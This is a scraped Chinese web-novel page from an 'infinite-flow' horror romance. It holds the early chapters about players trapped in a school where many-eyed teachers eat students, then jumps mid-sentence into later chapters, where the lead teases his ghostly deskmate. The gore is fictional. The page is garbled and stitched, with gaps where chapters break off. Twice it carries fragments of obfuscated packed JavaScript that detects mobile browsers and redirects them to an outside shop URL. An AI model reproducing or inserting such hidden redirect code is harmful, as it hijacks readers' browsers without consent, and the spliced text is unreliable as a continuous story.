《在诡异世界里养老婆[无限]》 1. 猛诡高校(1) 《在诡异世界里养老婆[无限]》全本免费阅读 “只有五天就要高考了,看看你们现在这副要死不活的样子,到时候怎么考得过别人?!” 安静到落针可闻的教室里,黑板擦“啪”一声砸在讲台上,讲台上黑沉着脸的老师边尖声训斥,边用浑浊的眼睛阴森森地盯着下面的每一个学生。 这不是形容,而是这位老师真的拥有数不清的眼睛,密密麻麻地长在身体上,就连讲话都是一只眼睛不停地眨动发出声音。 秦扶安只觉得自己的大脑像是被人重重锤了一下,闷钝的痛感让他眉心紧皱,不经意间抬眼却恰好撞上一只只浑浊晦暗的眼睛。 它们幽幽地注视着他,眼底布满了令人不安的贪婪和渴望,似乎正用目光无声地期待催促他做出点什么违规的小动作。 秦扶安闭了闭眼,再睁开。 眼睛还在,不是他精神错乱造成的幻觉。 抬头和那一双双将目光黏在自己身上的眼睛对视短暂的一秒后,秦扶安规规矩矩地坐直了身体,捏着笔认真听起课来。 过了足足三秒,那种黏腻恶心的注视感才不甘心地移开。 可这间教室里坐着的学生们,却不是都能这么镇定好运。 当惊恐的尖叫,愤怒的质问,慌张地求助……乱七八糟的声音在短短几秒钟里全都出现时,没有人搭理那位边质问边站起身的同学,他的愤怒和质问宛如默片里最突兀的存在,鲜活的表情也衬得四周愈发死寂。 再搭配黑板上淌着血的高考倒计时,和那些听到这么大动静都始终安静坐在座位上一动不动的“同学”们,整个画面怎么看怎么古怪诡异。 穿着蓝白校服的少年轻轻抬起自己那双浅绿的眼瞳,安静目睹了这几人的死亡。 讲台上老师用来代替嘴巴的那只眼睛大大地睁开,像是咧出一个夸张至极的笑,一边笑一边用最气愤的语气训斥道:“你们几个不仅学习差劲,现在竟然还敢违反校规,我绝不允许你们成为我教过的最差一届学生!” 随着他的话音落下,这几个在课堂上大吼大叫的“学生”,周身的时空仿佛被凝固,然后猝不及防的,一只又一只眼睛从他们身体上冒了出来,然后在迅速地眨动间,一寸寸啃食着这几人身上的血肉。 血液顺着他们蓝白色的校服流淌到地上,这场血腥的“进食”足足维持了十分钟,在他们只剩下一滩血色的骨架时,所有中学生都耳熟的下课铃终于欢快地响起。 一脸餍足的老师合上讲台上空白的教案,用最和煦的声音宣布了下课。 秦扶安坐在座位上没动。 教室里所有人都没有动。 直到满身眼睛的老师离开教室,脚步声逐渐远去消失,才有穿着校服的学生悄然松了口气,低声咒骂道:“靠,这次的副本竟然开局就死了三个人,这根本不是新手本会有的难度!” 秦扶安看向说话的学生,准确来说,应该叫他“玩家”才对。 因为在他低头的一瞬间,就发现手里原本普通的书页里,那些文字全部消失不见,然后在他的注视下,一点点泅出血渍,像是有人用骨头或木棒沾着血,一笔一划歪歪扭扭地写着什么。 大概十秒钟后,这行字终于清晰地出现在纸上。 [欢迎进入新手副本-猛诡高校。] [身为诡域第一高校,本校有着最悠久的办学历史,最顶尖的师资教育,最严格的教学管控,以及百分百升学率。] [毕业证是每个学生离开学校的通行证。] [高考在即,望考生全力以赴。] 在秦扶安将这几行血淋淋的字迹默读完后,它们就仿佛从未出现过一般,又在他的注视下悄然消失,白纸黑字的书页上,依然写满了大学生看不懂的高中知识。 “还有没有活着的?大家先认个眼熟吧,这个副本看起来不简单,说不定需要合作才能通关。”一个穿着校服的女生站起来,语气和眼神都很平静。 “……什么意思?这、这个鬼地方到底是哪?”另一个学生颤着声音不安地询问,身体早在上课的时候就不知不觉缩成了一团,此刻抬起头后,才让人看清她脸上斑驳的泪痕。 “竟然还有新人能活下来?”一个男生诧异地开口,而后朝着一开始说话的女生举了举手,自我介绍道:“叫我亚克就行,这是我最后一个新手副本。” 说完,他又扭头对另一个女生安抚道:“你别慌,只要你能在这场副本里通关活下去,自然就什么都知道了,总之出现在这里的那一刻,我们所有人都已经往鬼门关里迈了一只脚进去。” “到时候是死得彻底还是死里逃生,就看你能不能在这个副本里活下来了。”他故作轻松地耸耸肩,说出来的话却并不能让人感到放松。 “我叫白松,这是我第二个新手副本。” “陈琪,第三个新手副本。” “……” 陆陆续续有六个人出声回答。 算上死去的人,再加上没作声的秦扶安,这个副本里的玩家总数刚好为10人。 女生等了等,见教室里没有人再站起来出声,她才看向那个女生,语气稍微放缓了点,问她怎么称呼。 “……我、我叫赵佳悦。”女生说完,又想到前面几人的介绍,虽然还是不知道这里到底是个什么地方,但既然有人愿意跟自己沟通,她心里的崩溃恐惧就变成了对这些人的依赖,忍不住絮絮说道:“我今天刚从公司辞职,都还没走出电梯,就突然出现在这里了,刚才那几个人……他们还能活着回去吗?” “我叫南竹,下课时间没几分钟了,大家一起在教室里找找看有没有什么副本线索吧。”女生没有回答赵佳悦的问题,她果断给出了方向后,就径 2. 猛诡高校(2) 《在诡异世界里养老婆[无限]》全本免费阅读 上课铃声还没有结束,一道高大的身影便出现在教室门口,肥胖,臃肿,高大……他几乎将整个教室门都给堵得严严实实,满身的肥肉需要一团团往里硬挤好久才能挤得进来。 还在教室里到处找线索的几人全都悚然地回到自己座位上,端正坐好等待新一节课的开始。 这期间,有人发现了所有学生默契拿到桌面上的试卷,浑身像是被一桶冰水浇透,骇然地抓起笔就在试卷上胡乱填写起来。 也有人没有发现,但那位名为南竹的女生刻意举高试卷提醒了他们。 与此同时,满身堆满肥肉的老师终于将塌软肥大的身体挤进了教室,又慢吞吞挪动到讲台处时,才清了清嗓子,让教室里的同学们将写好的试卷上交由他检查批改。 “张老师脾气很凶,这次我帮你去交吧。”秦扶安还没起身,旁边的同桌就伸手拿过了他桌面上的试卷,在他看过去的时候,再次朝他感激地笑笑。 目送着他的背影穿过教室走上讲台,秦扶安又观察起另外几个还在埋头苦写的玩家。 试卷内容很少,但没注意黑板的几人想要迅速写好答案显然已经不可能了。 在所有试卷都交上去后,教室里重新安静下来。 这回能够听到的声音,就是笔尖在试卷上急促书写的沙沙声。 讲台上的老师用那双被皮肉挤成一条细缝的眼睛凌厉地望向几人。 他有着和长相完全不符的威严声音。 “还没交卷的,站起来。” 时间似乎在这一刻完全凝固。 沙沙的写字声骤然停滞,下一刻,就像最普通的教室里最普通的一幕,所有埋头的学生全都齐刷刷扭头去看还没有站起身的几人。 只是他们的动作太过整齐划一,甚至能够听到脖子处僵硬地骨骼咔嚓声,还有那一双双直勾勾注视着几人的眼睛,空洞洞的像是要择人而食,于是凭空添了许多令人头皮发麻的诡谲气氛。 “还不站起来,等着我点名吗?”讲台上的老师声调忽而上扬,细听便能听出这句话里藏着的些许迫切和渴望。 就在他张口即将喊出姓名的时候,南竹率先起身站了起来。 她作为这群玩家里隐形的领头者,其他人见她站起来了,他们在短暂犹豫片刻后,也纷纷苍白着脸站起身来。 南竹倒还算镇定,看向讲台上神色陡然阴沉下去的老师,心知自己可能无形间逃过了一劫,心头微松后,格外诚恳地道歉道:“抱歉老师,上节课我肚子太疼了,去厕所的时间耽误了我做试卷,我保证不会再有下一次了,希望您能原谅我。” 南竹的身后,秦扶安借着她挡住老师目光的视觉死角,用笔在纸上写了一段话后悄然递给身旁的同桌。 大概是没想到他竟然会这么大胆,竟敢在张老师生气的时候做这种偷偷传小纸条的违规行为,男生霍然望过来,原本空洞的眼瞳里明显带着惊讶,这也让他看起来比其它学生多了几分活人气儿。 对上同桌诧异又谨慎的目光,秦扶安却像是没看到一般,不仅没有收回那张纸,还在对方的注视下,得寸进尺的又往前推了推。 纸条边缘刚刚好抵在男生清瘦的手腕骨节处。 男生安静了片刻,像个被班级里坏学生强迫欺负的受气包一样,默默地抬起手腕压住了这张纸,忍着心里对老师的恐惧,低头看了眼纸条上的内容。 下一秒,他闭了闭眼,像是看到了什么不可思议又难以理解的话语。 [你叫什么名字?] 字写得很漂亮,苍劲有力,一笔一划都带着股干净利落的潇洒劲儿。 但怎么看怎么可恶。 男生:“……” 有那么一瞬间,他在脑海里幻想过将这张纸用力拍在秦扶安那张精致帅气的脸上会有多解气。 与此同时,在秦扶安看不到的直播光幕里,被秦扶安这个举动笑喷的观众毫不留情地发出一大串哈哈哈哈。 [我想过很多种新人会问的问题,唯独没想过这个答案。] [我以为的新手玩家:谨慎,小心,不放过任何细节和线索。实际上的新手玩家:哈喽,你叫什么名字?] [见诡了,这辈子没想过会看到这么生硬的搭讪,我要是这个npc,我都想拆开玩家的脑袋仔细研究一下里面的构造。] [他这种性格,这辈子应该都讨不到老婆吧?真是可喜可贺啊!] 刚进第一个副本的新手玩家秦扶安自然是看不到这些直播弹幕的,他一边听着其它玩家照着南竹的套路和老师各种道歉保证,一边歪着头用那双清透的浅绿色眼瞳盯着自己的同桌,无声催促着对方的回答。 同桌:“……” 男生深吸了一口气,指尖捏住这张纸的一角,而后将它一点点用力攥紧在手心里,那架势那动作,好像要将写字的人也给这样碾捏成皱巴巴一团才能稍微解气些。 可偏偏也是他这些情绪的波动,让他面上和眼中的情绪越发鲜活,看起来倒和怄气的普通高中生没什么两样了。 而秦扶安,没能拿回自己的纸条,却看到男生展开在桌子上的书页里,正端端正正写着对方的姓名。 谢云淮。 挺好听的名字,写在纸上的字迹也很清隽漂亮。 这样的念头刚一闪过,讲台上的张老师已经沉着脸让站起来的几人坐下。 前面遮挡视线的人坐下了,秦扶安也就规矩许多,至少没有再偷偷给自己的同桌递小纸条问更多奇怪的问题。 同时他也得知了不按时写完试卷的后果。 他们需要在这节课下课后,将试卷题目和正确答案全部抄写十遍。 听起来很普通的惩罚,但……聪明点的玩家已经目露绝望。 这才上午第二节课。 这节课多半也有课后作业,两者叠加起来,他们已经能够想象到自己的结局。 细长的笔在同样颀长的指节间流畅地转了两圈,谢云淮的目光被吸引过去,下一秒就发现自己的同桌放下笔后又开始撕纸条了。 窸窸窣窣的纸张撕裂声悄然响起,谢云淮的眼皮跳了跳,忍了再忍,坐直身体克制着自己不要走神去关注这个古怪又胆大的同桌。 他既然要找死,那就早点去死好了。 反正他已经不记得自己换过多少个同桌,新来的说不定会比这个安静胆小点。 原本短暂路过的观众们见到这一幕, 3. 猛诡高校(3) 《在诡异世界里养老婆[无限]》全本免费阅读 可该用什么办法才能有效打断这堂课呢? 南竹不期然想到了上节课的最后十分钟,那被不断的咀嚼声占据的最后十分钟,但现在那三个空掉的座位上,已经看不到血迹和骨骼的残留了。 她联想起来的一瞬间,便不自觉浑身发冷,终于意识到这个副本里更可怕的危机在哪里。 正所谓一步错步步错,他们第一堂课的课后浪费时间去找规则,却反而掉入了副本的隐形陷阱当中,完不成作业,于是十倍抄写,而想要争取到足够的时间,最简单最有效的办法,就是牺牲自己的同伴。 只要喂饱了老师,一整堂课的时间都可以被用来补作业。 不仅如此,这一招还能让这堂课的老师讲不出更多的课堂内容,所以就连下一节课要交的作业都可以轻松免去。 太恶毒了。 这是南竹心里闪过的第一个念头。 紧接着,她又感激起身后扔纸团的人,幸好他提醒得早,自己还有更多的时间思考,而不是让大家开局就互相陷害防备。 思索间,南竹略一抬眼,恰好看到屏幕上的观众弹幕迅速划过。 [主播主播,那个叫亚克的看起来就很耐吃,你把他喂给你们老师,我给你刷十个血色月亮。] [主播快行动起来,要是把这个老师喂饱,我也给你刷一个超级月亮。] 一个血色月亮=100积分 一个超级月亮=500积分 而副本商城里的积分购买力都很强,一个积分就能买到一瓶水或是面包,100个积分就能买很多一次性白色道具了,观众给出的诱惑力不可谓不大。 即使是南竹,前两场新手副本加起来,也才攒了不到五百个积分,这也意味着,她一旦按照观众说的去做,那短短一节课的时间,不仅能够解决玩家当前面临的难题,还能让自己实现一朝暴富。 但南竹从那几条充满怂恿恶意的弹幕上挪开了目光。 她也无视了接下来那些失望的嚷嚷着取关的弹幕。 南竹在课堂上举起了手,讲台上身形臃肿肥硕的老师眯着眼睛让她起身。 “老师,前面这道题能再详细讲一下吗?”南竹鼓起勇气和诡物老师对视,在它脸色一点点阴沉下来之前,嗓音清脆地说道:“张老师,我知道这道题的答案,但还是想听您再多讲讲同类型的题,这样高考的时候万一考到相同题型,我一定不会给您丢脸的。” 她暂时没想出更好的打断课堂的办法,又担心其他玩家会和她一样遭受弹幕的蛊惑,所以不得不硬着头皮起身,冒险提了个较为折中的建议。 大概能够活到第二场第三场的玩家,都不是真正的傻子,所以在意识到南竹想要达成的目的后,亚克也举起手对老师说了一大堆的好话,具体但不限于最喜欢听这位老师的课,又或者他觉得张老师讲课的能力是所有老师里最好的等等…… 秦扶安觉得这群玩家挺好玩的。 说不定亚克再多夸几句,这堂课的一半时间就这么过去了。 但还是有那么极少数对现状迟钝的笨蛋,不仅不珍惜南竹和亚克争取来的时间,反而抬着脑袋满脸茫然地不知该干什么。 没错,说的就是那个新人玩家了。 细长的笔又一次在他指尖百无聊赖地转了几圈,秦扶安干脆用左手支着下巴,偏头去打量自己的同桌。 大家都穿着高中的蓝白校服,也都顶着一张平平无奇的脸,但不知道为什么,自己这位同桌低着头写字的时候,秦扶安总能从他身上读出几分莫名的乖巧。 大概是谢云淮太认真了,认真的不像个随时会变异发疯的诡物,反而像个奋笔疾书埋头苦读的小书呆子。 现在这个世道,当诡都要这种影帝级的演技了吗? 秦扶安盯着同桌清秀的侧脸陷入沉思。 谢云淮忍了很久,可那道直白的目光还是直勾勾落在他身上,没有丝毫的偏移。 于是在老师被奇怪的同学们纠缠时,谢云淮皱着眉暗自瞪了眼身边的人。 却猝不及防撞进那双浅绿通透的眼瞳里。 谢云淮不得不承认,对方的眼睛真的很漂亮。 让他有一种想要挖出来,将其精心制作成最漂亮名贵的宝石,再镶嵌并收藏的冲动。 不过转瞬他就甩掉了这种奇怪的念头,毕竟拥有这双漂亮眼睛的主人,在他心里的印象分已经跌破到了负值。 厌屋及乌,秦扶安的那双眼睛也就变得不那么好看了。 秦扶安被同桌的目光瞪得回神。 他眨眨眼,有点疑惑为什么自己突兀的感受到了一丝杀气。 没寻到杀意的源头,前面的南竹和亚克也已经坐下,诡物老师开始讲起了同类型的题目,于是秦扶安也收敛了许多。 他没再思考做诡需要多高的演技,放空了目光,老老实实本本分分的神游着听完了这节枯燥的课。 下课铃再次响起的时候,张老师特意盯着之前没有做完试卷的几人,目光阴恻恻地,带着几分不甘心地说:“下节课你们的作业还没有完成,大家上课的时候,你们就去走廊里站着。” 被它看到的几人都已经无心回答,全都埋头苦写,势必要将下课的休息时间一分一秒都利用起来。 可转瞬,他们就听到教室黑板左上方的广播里传出来了动静。 “同学们好,现在是课间操时间,今天会有我们猛诡高校尊敬的校长进行课间讲话,请各位同学在三分钟内迅速赶往操场集合,迟到的同学会被记下姓名,扣除平时成绩和班级分喔~” 一个女生的声音,幽幽远远的,带着几分不明晰的断断续续电子音,像是卡壳断带的上世纪收音机。 前面的话还没什么,但她说到最后一句话的时候,那种夸张上扬的语气里,根本就是怎么都藏不住的嬉笑恶意。 在广播刚响起的时候,教室里的同学们已经迅速起身想要往外走了。 而南竹亚克等玩家,即使面如死灰,却也不得不起身顺着人潮往外挤。 但…… “游戏的恶意可真是无处不在啊。”秦扶安看着用身躯完全堵住教室门的张老师,终于明白第二节课时他为什么那么好糊弄,也完全没有第一位老师那么丑恶尽显了。 因为他根本就没想过让高三(四)班的学生们活到第三节课。 “遇到这种情况,你们怎么办?”秦扶安自来熟地拽了下前面同桌的校服袖子。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12239400|130222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 估计就起不来了。”秦扶安看着少年顶着校服外套,跟顶着结婚的盖头一样乖乖站在原地,没忍住趁机抬手,又隔着衣服揉揉他的脑袋。 18岁。 难怪敢一上来就放肆摸别人的身体。 秦扶安的唇角轻轻扬起,眼底炙热的占有欲,让隔着光幕的观众都被吓到了,纷纷在屏幕上疯狂打问号。 然而等谢云淮把校服从头顶扒拉下来穿好后,秦扶安就又变成了之前那样漫不经心的模样。 “刚才在下面……”谢云淮走过来,手里捏着标牌,还是想要知道秦扶安有没有受伤。 他或许也不知道自己为什么这么担心秦扶安,但对方一个人下去,带这么多东西上来,于情于理……他都该问问的吧? 谢云淮在心里不断说服自己。 想问的话还没说完,坐在地上的秦扶安抬眼望过来,两双不一样的眼瞳目光相接的那一刻,谢云淮本能地咽下了剩下的问题。 不知道是不是错觉,他总觉得,此时此刻的秦扶安,好像有点不太对劲。 但如果他能看到自己的灵魂体的话,估计就不会产生这样的怀疑了。 毕竟……他那些饿到吃空自己脑袋的触须们,现在有一个算一个,全都眼巴巴凑在秦扶安身边,叽叽喳喳说着一大堆吵闹又幼稚的话。 还有几个大胆的,理直气壮将自己趴在了秦扶安的脑袋顶上,还气咻咻说是替本体报仇,试试秦扶安的脑袋好不好摸。 从它们凑过来摸自己的时候,秦扶安就忍这些小家伙很久了,现在谢云淮一靠近,秦扶安看向罪魁祸首的目光就不太隐忍了。 但即使谢云淮遵循本能咽下了后面的话,秦扶安也能猜到他想问什么。 “放心吧,我身上的血都是别人的。”秦扶安低下头,边安抚谢云淮,边单手解开自己手上的绑带,然后自力更生换好道具绷带。 谢云淮捡起地上的武器握在手里,迟疑了两秒,也跟着重新坐在秦扶安身边。 两人就这么肩靠着肩,在这个寒冷的充满危机和血腥的夜晚,安静听着校园各处响起的尖叫嘶吼,注视着夜空中血色的倒计时一分一秒地减少。 在倒计时只剩65分钟的时候,谢云淮恍惚着将身体往校服外套里轻轻缩了缩。 他好像,真的要活过今天了。 在从前的每一次循环中,谢云淮从来没有活到过倒计时90分钟以后。 但现在,他毫发无损地活到了考试过半。 于是之前不能宣之于口的疑惑,在这份特殊的静谧中,似乎也终于能够问出口。 “你为什么要带着我?”少年清朗的声音被寒风裹挟着,在空气里被揉乱了几分,才又细碎柔软地钻进秦扶安的耳朵里。 带出几分痒意。 秦扶安偏过头,不出意外地撞上谢云淮明净澄澈的双眼,也看清了他眼底清晰的疑惑。 他似乎,真的对此感到好奇。 不像秦扶安,盯着人的眼睛,满脑袋却都是些不该有的心思。 22. 猛诡高校(22) 两人对视片刻后,秦扶安率先偏移了视线,眼眸微敛,似乎真的在认真思考这个问题的答案。 为什么无论做什么都要带着护着谢云淮呢? 因为是同桌吗? 还是说……因为些别的不可说的原因? 谢云淮耐心等待着,其实他也不确定自己想要得到或者说是期待着一个怎么样的回答。 就像他同样不确定自己为什么会毫无反抗的就跟着秦扶安一起离开教室一样。 回想起当时那只怪物扑上来,秦扶安却伸手推开自己的一瞬间,谢云淮不禁微微出神。 但很快,他就从寒凉的夜风中捕捉到秦扶安藏着几分笑意的回答。 “因为我看到你了你的灵魂。” 谢云淮愕然回望。 秦扶安眼眸带笑,对神色茫然的少年轻声回答道:“你的灵魂很活泼,虽然傻了点,但我很喜欢。” 谢云淮:“……” 少年脸上的茫然神色很快在秦扶安的注视下变成了古怪的不解。 他皱着眉和秦扶安对视,三秒钟后,忽而问他:“你在骂我傻?” 秦扶安哑然,身体后仰放松地倚靠在冰冷的墙体上,含着笑说道:“原来小谢同学不是喜欢发呆,只是需要更多思考的时间啊。” 虽然思考出结果的方向有点偏差。 但这么较真又好骗的谢云淮,看起来反而和他那些傻乎乎又活泼可爱的灵魂体更相像了。 谢云淮没有从秦扶安的话语里感受到恶意。 但他仍旧不悦地皱眉。 他讨厌别人用任何方式来评价自己不够聪明,因为这就意味着,他在猛诡高校里永远都不可能完成课堂作业和最后的高考,然后顺利毕业。 这无异于是在告诉他,谢云淮将会永远被困在高考的轮回里,此生都不得挣脱。 “…生气了?”秦扶安对身边人的情绪变化太敏锐了,几乎是谢云淮皱眉的一瞬间,他就凑了过来。 下一秒,带着温度的手不由分说地贴在少年冰冷的额头上,往下完全覆盖住他紧皱的眉心和盈满不悦情绪的双眼。 眼前一片漆黑,唯独脸上那只手的温度格外清晰温暖。 顺着那只手盖过来的力道,谢云淮下意识猛的将头往后仰,等想起后面就是硬墙时,后脑勺已经用力撞了上去。 没有撞击声,没有预想中的疼痛,后脑勺被秦扶安的另一只手垫住,除了撞上去时有点硌以外,他好像整个人大半身体都被人圈到了怀里。 谢云淮看不见,但视线被剥夺后,身体的其它感知反而更加敏锐。 “……放开我。”他抿着唇,身体紧贴着墙壁,极力想要避开秦扶安过分的靠近。 “抱歉。”秦扶安盯着他苍白紧抿的唇,眸色微深,语气却变得比之前更加软和,凑在谢云淮耳边诚恳地道歉:“我没有骂你,我只是……想夸夸你。” 哪怕眼前一片漆黑,什么都看不见,谢云淮也能从秦扶安的温和的语气以及柔软的语调里,听出一种格外真诚的,令人莫名想要深信不疑的引诱力。 他听到秦扶安说:“我想夸你的灵魂很可爱,它们很活泼,在你看不见的地方偷偷做了很多事,我很喜欢它们。” 说完,耳边温热的呼吸停了停,却不等谢云淮缓和紧绷的神经,又听到了一句更为诚挚的,甚至称得上无辜的话语。 “而我对你好,是因为在我看来,作为它们的拥有者和承载者,你比它们更可爱。” 谢云淮恍惚间听到了自己乱了节拍的心跳。 秦扶安总能轻易说出许多蛊惑人心的话,谢云淮从之前就知道这一点了,但……这是秦扶安第一次对他说这些诱哄的话。 原来真的有人可以仅凭话语就达到想要达成的一切目的。 原来真的有人可以凭借一句话就令人心中的防线一点点溃不成军。 所以,即使明知道秦扶安所说的看到了灵魂这样异想天开的话根本不可信,谢云淮却还是在他温热的掌心之下,轻轻地闭上双眼。 好吧,那就……当他真的在夸我吧。 谢云淮在心里轻声对自己说,身上原本被坏情绪激起的尖刺也一根根变得柔软无害起来。 确定被捂住眼睛的少年身上没有了冷硬的疏离感,紧皱的眉心也一点点平缓松开后,秦扶安这才慢慢松手,原本将谢云淮完全笼罩的身体也侧让开来。 当他重新坐好后,轻轻一偏头,就撞进谢云淮复杂难言的目光之中。 秦扶安回了他个疑惑的眼神。 然后就见谢云淮毫不犹豫地扭头,彻底避开了和他的对视。 “?”秦扶安茫然盯着少年的后脑勺,片刻后又低头看看团团围在自己身边的触须们,无奈地伸手将缠住自己腰腹手臂的触须一根根挪开。 然而努力是不起作用的,几乎在他挪开的下一秒,触须们就眼巴巴地重新缠了上来。 不仅要和他贴贴,还在自说自话地碎碎念。 "他说我们可爱!!" "嗯嗯~我们超级可爱的!可爱是赞美,所以他也很可爱!" "可是……我好饿喔~他这么喜欢我们的话,可不可以让我们偷偷咬一口呀?" "对喔!我们很善良的,只咬一小口,不咬多了,这样他应该不会生气吧?" "生气是什么?比饿肚子还要可怕吗?让我先咬吧,我想咬他的眼睛,绿色的眼睛好好看~我最喜欢绿色啦!" "我也想要眼睛……" "我也要绿色的漂亮眼睛!" "哎呀你们别吵啦,好吃的漂亮的要留到最后吃,所以我们先吃其它地方吧!" "他真的不会生气吗?要是咬疼了怎么办?我吃你脑袋的时候,你都疼哭了。" "那怎么办嘛……" "他闻起来真的好香好香,我们好饿好饿呀……" 秦扶安眉眼间的笑意一点点消散,他盯着已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12239401|130222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经开始小声商量要从哪里咬自己的触须们,突然就开始后悔刚才说出来诱哄小少年的那番夸夸了。 因为相比起这些傻乎乎但本质凶残的触须们,果然还是谢云淮本人更可爱。 但说出去的话,犹如泼出去的水,秦扶安总不能现在又凑过去,跟谢云淮说…… 等等。 秦扶安似乎想到了什么,眼底笑意一点点浮现,而后伸手轻轻戳了戳少年清瘦的肩膀。 谢云淮:“……” 秦扶安这喜欢戳人的臭习惯到底是哪里来的! 一而再,再而三,他根本就没有丝毫知错收敛的意思! 可裹挟着怒气转身准备质问的谢云淮,下一秒就听到了秦扶安更为无辜甚至委屈的告状。 “我刚刚还夸了它们,结果现在它们在讨论怎么把我吃掉缓解饥饿。” 秦扶安多少藏着点坏心思,故意凑近了朝懵住的少年无奈控诉:“为了不让它们真的吃掉我,小谢同学,能不能麻烦你管管它们?” 话音刚落,原本叽叽喳喳商讨的格外起劲的触须们全都和本体一样懵懵的呆住了。 啊?? 怎么、怎么还能告状的?! 这和它们想的完全不一样呀! 然而这场让当事人和当事魂都很懵的告状,其实才刚刚开始。 只见秦扶安伸手从自己手上拎了个什么看不见的东西,凑到谢云淮眼前,低声道:“它说想把我的眼睛挖出来吃,应该会和被你扔掉的糖果一样香甜。” 谢云淮:“……” 当事须:“QAQ” 它心虚地乖乖缩回了谢云淮的身体里,决定在今晚结束之前都不要再出来招惹秦扶安了。 见状,秦扶安又从自己膝盖上拎出下一条。 “它说它想聘请猪头厨师,把我的左腿拿去熬汤,因为曾经听你说骨头汤是最营养最好喝的东西。” 谢云淮:“……” 嘴巴张了又合上,他的表情已经从怀疑,变成了闪烁心虚。 要把秦扶安左腿拿去炖汤的触须挣扎了两下,在秦扶安松手后,也跟着赶紧溜回谢云淮体内。 也有见势不对的触须,正试探着偷偷摸摸往回缩。 但耐不住秦扶安心太脏,行动力还强,就逮着之前碎碎念最过分的那几个,一个个陈述“罪证”,即使明明说那些话的触须已经溜走了,他还能欺负谢云淮看不见灵魂体,故意很真地“拎着”不存在的触须继续控诉。 一条条一桩桩,说得谢云淮原本高涨的怒气一点点被压了下去,最后涨红脸憋着气,目光一边闪躲着,一边努力将自己本瘦削的身体手脚都蜷缩在了一起,只恨地上平整的没有任何缝隙,不然他就能当场给秦扶安表演一个钻地术了。 原因无它,而是因为这些所谓的“须言须语”,其实全都是曾经在谢云淮自己脑海里出现过的念头。 秦扶安细数罪状数十条,没有一条是胡编乱造…… 23. 猛诡高校(23) 眼看少年被自己的话语欺负得都快蜷缩成了一只红红的虾,秦扶安却依然没有轻易放过他。 没有被触须缠绕的他轻轻拍了拍校服上不存在的灰尘,唇角微扬,在寒风中慢悠悠喟叹道:“小谢同学,原来我在你眼里这么美味可口啊。” “……”谢云淮的手已经悄然捂上了自己的耳朵。 只要他听不见,那秦扶安那些乱七八糟的话就一点都影响不到他。 见他耳根脖子都几乎红透了,整个人拘谨又抗拒地缩成一小团,看起来一副被欺负得可怜兮兮的模样,秦扶安无声扬了扬眉。 但不等他再说什么让谢云淮想要连夜逃离副本的话,前方幽暗狭窄的通道口里便如鬼一般悄然探出了一颗贪婪疯狂的头颅。 它第一时间锁定了靠墙坐着的两人,黑洞洞又好像染满血色的双眼诡异地弯着,里面充斥着血腥的癫狂。 下一秒,它便朝两人急速冲了过来,长长的脖颈在天台上拉出悚然的长度,一张嘴大张着当先就朝谢云淮咬下来。 在它如鬼魅般出现的那一瞬间,秦扶安和谢云淮就已经警惕了起来,当这颗和教导主任并不相似,能力却一模一样的头颅朝他们冲过来的一瞬间,秦扶安率先握着钢棍起身。 “小心!”谢云淮匆忙叮嘱了一句,目光快速环视四周,防备着其它可能从天台边缘出现的相同怪物。 在谢云淮话音落下的一瞬间,秦扶安手里的钢棍也刚好绕开了这只怪物的脑袋,用力砸在了它身后拖在地面的长长脖颈上。 “咔嚓——!” 一声刺耳的脆响,秦扶安手里的钢棍弯出个明显的弧度,但这只怪物也宛如遭受到重击,像蛇一样扬起的脑袋猛然脱力砸在了地上,脖颈也如同被打了七寸的蛇一样疯狂蠕动着想要缩回去。 “来都来了,别急着走啊。”秦扶安语气沉沉,话音刚起,手里变形的钢棍也再度狠狠砸在相同的地方。 “——!!”怪物忽而发出痛苦至极的呓语,嘶吼挣扎着扭动快要断掉的脖颈,看向秦扶安的眼神充满了尖锐的仇恨。 太丑陋了。 秦扶安嫌弃地砸烂了它黑洞洞的双眼。 “脖子伸这么长,脑袋还要抬起来咬人……”秦扶安眉心皱得死紧,抬脚踩住怪物被砸扁后满是红白浆水的脑袋,一脸晦气地沉声嗤道:“既然想学蛇,那就得承担被打断七寸的后果。” 不过他不认可这条古里古怪的人蛇,所以必须现在立刻当下就将对方开除蛇籍! 谁也没想到秦扶安会这么果断地出手,并且一出手就朝着对方的致命点砸去,没有丝毫白天对诡物的友好优待。 要知道,在白天的时候,他可是凭借那张嘴忽悠了学校里的好多诡,连代理老师的身份和超市里的道具都被他忽悠到手。 夜晚降临,诡物们变得凶狠这很正常,秦扶安竟也跟着变得狠戾起来,却是所有人包括直播间观众们都没有想到的。 似乎从楼顶下去遇到张老师开始,他就没有再手下留情过。 眼前的危机算是解决了,谢云淮没有松开手里的武器,也没有对秦扶安的行为感到丝毫意外。 或许是因为在他眼中,秦扶安本就是这样的人,白天的秦扶安……只不过是披上了一层狡诈的皮囊而已。 真实的秦扶安不是言语戏谑态度散漫的演说家,而是用鲜血染就的,用森森白骨堆砌而成的,一只人形的——怪物。 “下次诋毁我的时候,小谢同学可以先管管你那些藏不住的灵魂体们。” 耳边忽而响起秦扶安笑意散漫的声音。 谢云淮身体一僵,而后背对着秦扶安,呼吸一点点放轻,仿佛认命般慢慢闭上了眼。 他忘记了。 但现在又被秦扶安提醒了。 不仅仅是在心里说秦扶安坏话这件事。 而是……之前秦扶安捂着他的眼睛,对他说的那些话。 比起他的灵魂,秦扶安更喜欢的…… 谢云淮后知后觉地放轻了呼吸:所以,他说的都是真的。 “我没有骂你,我只是……想夸夸你。” 